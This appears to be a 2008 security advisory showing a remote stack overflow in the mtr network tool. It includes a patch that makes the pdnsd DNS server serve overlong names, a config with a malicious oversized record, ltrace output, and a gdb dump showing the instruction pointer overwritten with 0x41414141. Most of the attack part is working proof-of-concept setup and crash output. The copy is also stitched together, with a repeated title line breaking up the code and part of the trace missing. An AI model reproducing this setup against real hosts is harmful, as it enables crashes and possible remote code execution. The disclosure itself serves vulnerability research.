+ unsigned char nmbuf[2560],dbuf[2560],nsbuf[2560];
DEBUG_MSG("The name server %s is responsible for the %s domain, which does not match %s\n",
rhn2str(nsname,nsbuf,sizeof(nsbuf)),
rhn2str(nsdomain,dbuf,sizeof(dbuf)),
diff -ur ./pdnsd-1.2.6/src/hash.c ./smalldns/pdnsd-1.2.6/src/hash.c
--- ./pdnsd-1.2.6/src/hash.c 2007-07-15 12:45:58.000000000 +0200
+++ ./smalldns/pdnsd-1.2.6/src/hash.c 2008-03-11 15:44:59.000000000 +0100
@@ -79,7 +79,7 @@
s &= HASH_BITMASK;
#ifdef DEBUG_HASH
{
- unsigned char buf[256];
+ unsigned char buf[2560];
printf("Diagnostic: hashes for %s: %03x,%04lx\n",rhn2str(str,buf,sizeof(buf)),s,r);
}
#endif
diff -ur ./pdnsd-1.2.6/src/helpers.c ./smalldns/pdnsd-1.2.6/src/helpers.c
--- ./pdnsd-1.2.6/src/helpers.c 2007-07-10 22:27:56.000000000 +0200
+++ ./smalldns/pdnsd-1.2.6/src/helpers.c 2008-03-11 16:46:02.000000000 +0100
@@ -232,7 +232,7 @@
do {
int jlim,lb;
jlim=i+63;
- if(jlim>254) jlim=254;
+ if(jlim>2560) jlim=2560;
for(j=i; j<len && str[j] && str[j]!='.'; ++j) {
/* if(!isdchar(str[j]))
return "Illegal character in domain name"; */
@@ -361,8 +361,8 @@
{
unsigned int len = rhnlen(src);

- PDNSD_ASSERT(len<=256,"rhncpy: src too long!");
- memcpy(dst,src,len>256?256:len);
+ PDNSD_ASSERT(len<=2560,"rhncpy: src too long!");
+ memcpy(dst,src,len>2560?2560:len);
return len;
}

@@ -510,7 +510,7 @@
va_list va;

{
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
– char buf[256];  
+ char buf[2560];
```

```
va_start(va,format);  
n=vsnprintf(buf,sizeof(buf),format,va);  
@@ –649,7 +649,7 @@
```

This version is actually based on fgets_realloc() that I found in the WWWOFFLE source.

```
*/
```

```
–#define BUFSIZE 256  
+#define BUFSIZE 2560  
int getline(char **lineptr, size_t *n, FILE *stream)  
{  
char *line=*lineptr;  
diff –ur ./pdnsd-1.2.6/src/status.c ./smalldns/pdnsd-1.2.6/src/status.c  
— ./pdnsd-1.2.6/src/status.c 2007-07-10 22:27:56.000000000 +0200  
+++ ./smalldns/pdnsd-1.2.6/src/status.c 2008-03-11 15:44:23.000000000 +0100  
@@ –346,7 +346,7 @@  
break;  
case CTL_RECORD: {  
uint16_t cmd2;  
– unsigned char name[256],buf[256];  
+ unsigned char name[2560],buf[2560];  
DEBUG_MSG("Received RECORD command.\n");  
if (!read_short(rs,&cmd2))  
goto incomplete_command;  
@@ –372,7 +372,7 @@  
uint32_t ttl;  
char *fn;  
uint16_t servaliases,flags;  
– unsigned char buf[256],owner[256];  
+ unsigned char buf[2560],owner[2560];  
  
DEBUG_MSG("Received SOURCE command.\n");  
if (read_allocstring(rs,&fn,NULL)<=0) {  
@@ –412,7 +412,7 @@  
uint32_t ttl;  
unsigned sz;  
uint16_t tp,flags,nadr=0;  
– unsigned char name[256],buf[256],dbuf[260];  
+ unsigned char name[2560],buf[2560],dbuf[2600];  
size_t adrbufsz=0;  
unsigned char *adrbuf=NULL;  
  
@@ –507,7 +507,7 @@  
case CTL_NEG: {  
uint32_t ttl;  
uint16_t tp;  
– unsigned char name[256],buf[256];  
+ unsigned char name[2560],buf[2560];
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
DEBUG_MSG("Received NEG command.\n");
if (read_domain(rs, charp buf, sizeof(buf))<=0)
@@ -580,7 +580,7 @@
char *q;
slist_t *sl;
unsigned sz;
- unsigned char rhn[256];
+ unsigned char rhn[2560];

if(*p=='-') {
tp=C_EXCLUDED;
@@ -629,8 +629,8 @@
case CTL_DUMP: {
int rv,exact=0;
unsigned char *nm=NULL;
- char buf[256];
- unsigned char rhn[256];
+ char buf[2560];
+ unsigned char rhn[2560];
DEBUG_MSG("Received DUMP command.\n");
if (!(rv=read_domain(rs,buf,sizeof(buf)))) {
print_serr(rs,"Bad domain name.");
--- CUT ---
```

and config file:

```
--- CUT ---
// Sample pdnsd configuration file. Must be customized to obtain a working pdnsd setup!
// Read the pdnsd.conf(5) manpage for an explanation of the options.
// Add or remove '#' in front of options you want to disable or enable, respectively.
// Remove '/' and '*' to enable complete sections.

global {
perm_cache=1024;
cache_dir="/var/cache/pdnsd";
# pid_file = /var/run/pdnsd.pid;
run_as="nobody";
server_ip = 192.168.1.200; # Use eth0 here if you want to allow other
# machines on your network to query pdnsd.
status_ctl = on;
# paranoid=on; # This option reduces the chance of cache poisoning
# but may make pdnsd less efficient, unfortunately.
query_method=udp_tcp;
min_ttl=15m; # Retain cached entries at least 15 minutes.
max_ttl=1w; # One week.
timeout=10; # Global timeout option (10 seconds).
}

# The following section is most appropriate if you have a fixed connection to
# the Internet and an ISP which provides good DNS servers.
server {
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
label= "myisp";
ip = 192.168.1.1; # Put your ISP's DNS-server address(es) here.
# proxy_only=on; # Do not query any name servers beside your ISP's.
# This may be necessary if you are behind some
# kind of firewall and cannot receive replies
# from outside name servers.
timeout=4; # Server timeout; this may be much shorter
# that the global timeout option.
uptest=if; # Test if the network interface is active.
interface=eth0; # The name of the interface to check.
interval=10m; # Check every 10 minutes.
purge_cache=off; # Keep stale cache entries in case the ISP's
# DNS servers go offline.
}

/*
# The following section is more appropriate for dial-up connections.
# Read about how to use pdnsd-ctl for dynamic configuration in the documentation.
server {
label= "dialup";
file = "/etc/ppp/resolv.conf"; # Preferably do not use /etc/resolv.conf
proxy_only=on;
timeout=4;
uptest=if;
interface = ppp0;
interval=10; # Check if the interface every 10 seconds.
purge_cache=off;
preset=off;
}
*/

/*
# The servers provided by OpenDNS are fast, but they do not reply with
# NXDOMAIN for non-existent domains, instead they supply you with an
# address of one of their search engines. They also lie about the addresses of
# of the search engines of google, microsoft and yahoo.
# If you do not like this behaviour the "reject" option may be useful.
server {
label = "opendns";
ip = 208.67.222.222, 208.67.220.220;
reject = 208.69.32.0/24, # You may need to add additional address ranges
208.69.34.0/24, # here if the addresses of their search engines
208.67.219.0/24; # change.
reject_policy = fail; # If you do not provide any alternative server
# sections, like the following root-server
# example, "negate" may be more appropriate here.
timeout = 4;
uptest = ping; # Test availability using ICMP echo requests.
ping_timeout = 100; # ping test will time out after 10 seconds.
interval = 15m; # Test every 15 minutes.
preset = off;
}
```

```
}
*/

/*
# This section is meant for resolving from root servers.
server {
  label = "root-servers";
  root_server = on;
  randomize_servers = on; # Give every root server an equal chance
  # of being queried.
  ip = 198.41.0.4
    , 192.228.79.201
    , 192.33.4.12
    , 128.8.10.90
    , 192.203.230.10
    , 192.5.5.241
    , 192.112.36.4
    , 128.63.2.53
    , 192.36.148.17
    , 192.58.128.30
    , 193.0.14.129
    , 198.32.64.12
    , 202.12.27.33
  ;
  timeout = 5;
  uptest = query; # Test availability using empty DNS queries.
  interval = 30m; # Test every half hour.
  ping_timeout = 300; # Test should time out after 30 seconds.
  purge_cache = off;
  exclude = .localdomain;
  policy = included;
  preset = off;
}
*/

source {
  owner=localhost;
  # serve_aliases=on;
  file="/etc/hosts";
}

rr {
  name=localhost;
  reverse=on;
  a=127.0.0.1;
  owner=localhost;
  soa=localhost,root.localhost,42,86400,900,86400,86400;
}

rr {
  name=AAAAAAAA.AAAAAAAAAA.AAAAAAAAA.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
reverse=on;
a=12.34.56.78;
owner=localhost;
soa=localhost,root.localhost,42,86400,900,86400,86400;
}

/*
neg {
name=doubleclick.net;
types=domain; # This will also block xxx.doubleclick.net, etc.
}
*/

/*
neg {
name=bad.server.com; # Badly behaved server you don't want to connect to.
types=A,AAAA;
}
*/
---- CUT ----
```

Ok Let's look how it works:

[1] => First screen
[2] => Second terminal

```
[1]:
[root@lost-coder pdnsd-1.2.6]# ./src/pdnsd -c ./doc/pdnsd.conf
[*] len = 4
[*] len = 4
* 03/15 01:56:04| pdnsd: info: pdnsd-1.2.6-par starting.
```

```
[2]:
[root@lost-coder mtr-0.72]# ltrace ./mtr -p 12.34.56.78
...
...
...
recvfrom(5, 0xbfffe970, 4470, 0, 0xbfffe8f0) = 64
recvfrom(7, 0x81db720, 512, 0, 0x81dbd60) = 285
__res_state(0x81dbd64, 0x81e4200, 2, 0, 0x81dbd60) = 0x40189cc0
__res_state(0x40189cd4, 0x81dbd64, 2, 0, 0x81dbd60) = 0x40189cc0
sprintf("78.56.34.12.in-addr.arpa", "%u.%u.%u.%u.in-addr.arpa", 78, 56, 34, 12) = 24
__dn_expand(0x81db720, 0x81db83d, 0x81db72c, 0x81e4220, 1025) = 26
strlen("78.56.34.12.in-addr.arpa") = 24
strcascmp("78.56.34.12.in-addr.arpa", "78.56.34.12.in-addr.arpa") = 0
__dn_expand(0x81db720, 0x81db83d, 0x81db74a, 0x81e4220, 1025) = 2
strlen("78.56.34.12.in-addr.arpa") = 24
strcascmp("78.56.34.12.in-addr.arpa", "78.56.34.12.in-addr.arpa") = 0
__dn_expand(0x81db720, 0x81db83d, 0x81db756, 0x81e4220, 1025) = 192
```


Mtr – remote and local stack overflow – uncomment situation in libresolv.

```
#5 0x35203120 in ?? ()
#6 0x30352030 in ?? ()
#7 0x00303520 in ?? ()
#8 0x40016508 in ?? ()
#9 0x08048b5b in ?? ()
#10 0xbfffc44 in ?? ()
#11 0xbffffb58 in ?? ()
#12 0x00000000 in ?? ()
(gdb) i r
eax 0x81f0660 136250976
ecx 0x481f0c6f 1209994351
edx 0xbffffb2c -1073743060
ebx 0x41414141 1094795585
esp 0xbffffb10 0xbffffb10
ebp 0x41414141 0x41414141
esi 0x41414141 1094795585
edi 0x41414141 1094795585
eip 0x41414141 0x41414141
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) hehe... ale co by nie bylo i tak Kocham Ewunie ;)
Undefined command: "hehe". Try "help".
(gdb)
```

Ps. When I play at night with creating domain in specific form i be able to crash mtr without any options. I just run simple command like \$mtr <ip>. Anyway i didn't write this config file and in future i can't do it again. When i read source for display with ncurses lib. i saw that i must overwrite buffer which is 1024 bytes length. So it is possible but i can't proof that in this time... or in night i was too sleepy and i saw what i want :)

That's all. I test it on version 0.72 and 0.69. Probably all versions are vulnerability. Thanks and Best regards Adam Zabrocki (pi3 / pi3ki31ny).

Ps2. For program autors. You wrote in [!]:

```
/* May be we should test name's length */
```

the answer is:

```
"Yes you should ;-)"
```

Mtr – remote and local stack overflow – uncomment situation in libresolv.

pi3 (pi3ki31ny) – pi3 (at) itsec pl

<http://pi3.hack.pl>

<http://pi3.phrack.pl>

<http://pi3.shellcode.pl>

<http://pi3.itsec.pl>